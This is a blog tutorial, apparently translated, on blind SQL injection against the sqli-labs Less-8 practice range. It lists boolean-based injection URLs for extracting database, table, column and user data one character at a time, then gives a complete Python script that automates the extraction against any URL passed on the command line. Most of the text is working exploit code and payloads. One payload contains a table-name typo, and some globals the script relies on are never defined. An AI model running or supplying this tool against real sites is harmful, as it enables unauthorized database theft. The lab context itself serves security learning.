Write an automatic blind note script in python

Posted by sbrinley on Thu, 04 Nov 2021 00:03:42 +0100

preface

When we conduct SQL injection attacks, we need to consider blind injection when we find that union injection or error injection cannot be performed. When we conduct blind injection, we need to guess character by character through page feedback (Boolean blind injection) or corresponding time (time blind injection). If you guess manually, it will have a lot of work. So here we use python to write an automatic script to guess. The eighth level of sqli labs is selected for the shooting range.
Reference: python security attack and defense

payload associated with blind injection

Before writing a script, you need to have an understanding of the blind injection process. In this way, when writing a script, the idea will not be confused. Here is an example of the eighth pass of sqli labs. The details are as follows:

Get database length

127.0.0.1/sql/Less-8/?id=1' and if(length(database())=8,1,0) %23

Get database name

substr: String interception function, first bit interception, one bit interception

Connecting is to intercept the first bit of the database name and judge whether the ascii value of the first bit is equal to 115. If it is correct, it will be returned directly.

127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,0) %23

Gets the number of database tables

127.0.0.1/sql/Less-8/?id=1' and if((select count(*)table_name from information_schema.tables where table_schema='security')=4,1,0) %23

Gets the length of the database table name

Note the limit. The first parameter means the line from which to start, the minimum is 0, and the second parameter is the line to intercept. Here 1 means one line.

127.0.0.1/sql/Less-8/?id=1' and if((select LENGTH(table_name) from information_schema.tables where table_schema='security' limit 1,1)=8,1,0) %23

Get database table name

127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,0) %23

Gets the number of fields in the table

127.0.0.1/sql/Less-8/?id=1' and if((select count(column_name) from information_schema.cloumns where table_schema='security' and table_name='users')=3,1,0) %23

Gets the length of the field

127.0.0.1/sql/Less-8/?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2,1,0) %23

Gets the fields of the table

127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,0) %23

Gets the number of field data

127.0.0.1/sql/Less-8/?id=1' and if((select count(username) from users)=13,1,0) %23

Gets the length of the field data

127.0.0.1/sql/Less-8/?id=1' and if((select length(username) from users limit 0,1)=4,1,0) %23

Get field data

127.0.0.1/sql/Less-8/?id=1' and if (ascii(substr((select username from users limit 0,1),1,1))=68,1,0) %23

Explanation of related functions of blind injection script

First, write the main function to call each function. The code is as follows:

#Blind main function

def StartSqli(url):
    GetDBName(url)
    print("[+]Current database name:{0}".format(DBName))
    GetDBTables(url,DBName)
    print("[+] database {0} The table is as follows:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1 ) + ")" + DBTables[item])
    tableIndex = int(input("[*] Please enter the sequence number of the table to view :")) - 1
    GetDBColumns(url,DBName,DBTables[tableIndex])
    while True:
        print("[+] data sheet {0} The fields are as follows:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*] Please enter the sequence number of the field to view(Enter 0 to exit):")) - 1
        if(columnIndex == -1):
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

Next, we need to get the database name, and the final result is stored in DBName

#Get database name function
def GetDBName(url):
    #Reference global variable DBName
    global DBName
    print("[-] Start getting the length of the database")
    #A variable that holds the length of the database
    DBNameLen = 0
    #payload for checking database length
    payload =  "' and if(length(database())={0},1,0) %23 "
    #Splice the url and payload to get the final request url
    targetUrl = url + payload
    print(targetUrl)
    #Use the for loop to traverse the request to get the length of the database name
    for DBNameLen in range(1,99):
        #Assign and guess the parameters in the payload
        res = conn.get(targetUrl.format(DBNameLen))
        #Determine whether the flag is in the returned page
        if flag in res.content.decode("utf-8"):
            print('Did you come in')
            print("[+] Length of database name:"+ str(DBNameLen))
            break
    print("[-] Start getting database name")
    #Gets the payload of the database name
    payload = "' and if(ascii(substr(database(),{0},1))={1},1,0) %23"
    targetUrl = url + payload
    #a represents the interception position of substr() function
    for a in range(1,DBNameLen+1):
        #b represents 33 ~ 126 characters that can be displayed in ascii code
        for b in range(33,127):
            res = conn.get(targetUrl.format(a,b))
            if flag in res.content.decode("utf-8"):
                DBName += chr(b)
                print("[-]" + DBName)
                break

The effect of obtaining the database name is shown in the figure below

When we get the database name, we can guess the table name. The results are stored in DBTables in list form

#Get database table function
def GetDBTables(url, dbname):
    global DBTables
    #A variable that holds the number of database tables
    DBTableCount = 0
    print("[-] Start getting {0} Number of database tables:".format(dbname))
    #Gets the payload of the number of database tables
    payload = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) %23"
    targetUrl = url + payload
    #Start traversal to get the number of database tables
    for DBTableCount in range(1,99):
        res = conn.get(targetUrl.format(dbname,DBTableCount))
        if flag in res.content.decode("utf-8"):
            print("[+]{0}The number of tables in the database is:{1}".format(dbname,DBTableCount))
            break
    print("[-]Start getting{0}Table of database".format(dbname))
    #A variable that temporarily stores the length of the table name when traversing the table name
    tableLen = 0
    #a indicates that the index of the table is currently being obtained
    for a in range(0,DBTableCount):
        print("[-]Getting page{0}Table names".format(a+1))
        #Get the length of the current table name first
        for tableLen in range(1,99):
            payload = "' and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,a,tableLen))
            if flag in res.content.decode("utf-8"):
                break
        #Start getting table name
        #A variable that temporarily stores the current table name
        table = ""
        #b indicates the location of the current table name guess (substr)
        for b in range(1,tableLen+1):
            payload = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0) %23"
            targetUrl = url + payload
            # c represents 33 ~ 126 displayable characters in ascii code
            for c in range(33,127):
                res = conn.get(targetUrl.format(dbname,a,b,c))
                if flag in res.content.decode("utf-8"):
                    table +=chr(c)
                    print(table)
                    break
        #Add the obtained table name to DBTables
        DBTables.append(table)
        #Clear the table to continue to get the next table name
        table = ""

The effect of obtaining the database table name is as follows:

According to the database name and table name obtained above, then obtain the fields of the table. The results are stored in DBColumns as a list

#Function to get database table fields
def GetDBColumns(url,dbname,dbtable):
    global DBColumns
    #A variable that holds the number of fields
    DBColumnCount = 0
    print("[-] Start getting{0}Number of fields in the data table:".format(dbtable))
    for DBColumnCount in range(99):
        payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0} The number of fields in the data table is:{1}".format(dbtable,DBColumnCount))
            break
     #Start getting the name of the field
     #A temporary variable that holds the field name
    column = ""
    # a represents the index of the currently acquired field
    for a in range(0,DBColumnCount):
        print("[-]Getting page{0} Field names".format(a+1))
        #Get the length of the field first
        for columnLen in range(99):
            payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
            if flag in res.content.decode("utf-8"):
                break
        #b indicates the location of the current field name guess
        for b in range(1,columnLen+1):
                payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23"
                targetUrl = url + payload
                #c represents 33 ~ 126 displayable characters in ascii table
                for c in range(33,127):
                    res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
                    if flag in res.content.decode("utf-8"):
                        column += chr(c)
                        print(column)
                        break
                #Add the obtained fields to dbcolumns
        DBColumns.append(column)
        #Clear the column to continue to get the next field name
        column = ""

The effect of obtaining the fields of the table is as follows:

Then, you can get the data. Obtain data according to the obtained URL, database table name and data table field. The data is stored in the form of a dictionary, the key is the field name, and the value is the list formed by the data.

#Function to get table fields
def GetDBData(url,dbtable,dbcolumn):
    global DBData
    #Get the data quantity of the field first
    DBDataCount = 0
    print("[-]Start getting {0} surface {1} Number of data in the field".format(dbtable,dbcolumn))
    for DBDataCount in range(99):
        payload = "' and if((select count({0}) from {1})={2},1,0) %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbcolumn,dbtable,DBDataCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0}surface{1}The data quantity of the field is:{2}".format(dbtable,dbcolumn,DBDataCount))
            break
    for a in range(0,DBDataCount):
        print("[-] Getting{0} The first{1} Data".format(dbcolumn,a+1))
        #Get the length of this data first
        dataLen = 0
        for dataLen in range(99):
            payload = "' and if((select length({0}) from {1} limit {2},1)={3},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbcolumn,dbtable,a,dataLen))
            if flag in res.content.decode("utf-8"):
                print("[-]The first{0}Data length:{1}".format(a+1,dataLen))
                break
        #Temporary storage of data content variables
        data = ""
        #Start to get the specific content of data
        #b represents the guess position of the current data content
        for b in range(1,dataLen+1):
            for c in range(33,127):
                payload = "' and if (ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0) %23"
                targetUrl = url + payload
                res = conn.get(targetUrl.format(dbcolumn,dbtable,a,b,c))
                if flag in res.content.decode("utf-8"):
                    data +=chr(c)
                    print(data)
                    break
        #Put it into the dictionary with field name as key and value as list
        DBData.setdefault(dbcolumn,[]).append(data)
        print(DBData)
        #Clear the data and continue to get the next data
        data = ""

The effect of obtaining data is as follows:

Finally, write the main function and pass in the URL

#Entry, main function
if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example: python %prog -u http://127.0.0.1/sql/Less-8/?id=1\n')
    #Target URL parameter - u
    parser.add_option('-u','--url',dest='targetURL',default='http://127.0.0.1/sql/Less-8/?id=1',type='string',help='target URL')
    (options,args) = parser.parse_args()
    StartSqli(options.targetURL)

Summary

There are so many automated scripts about blind injection. Please correct any errors.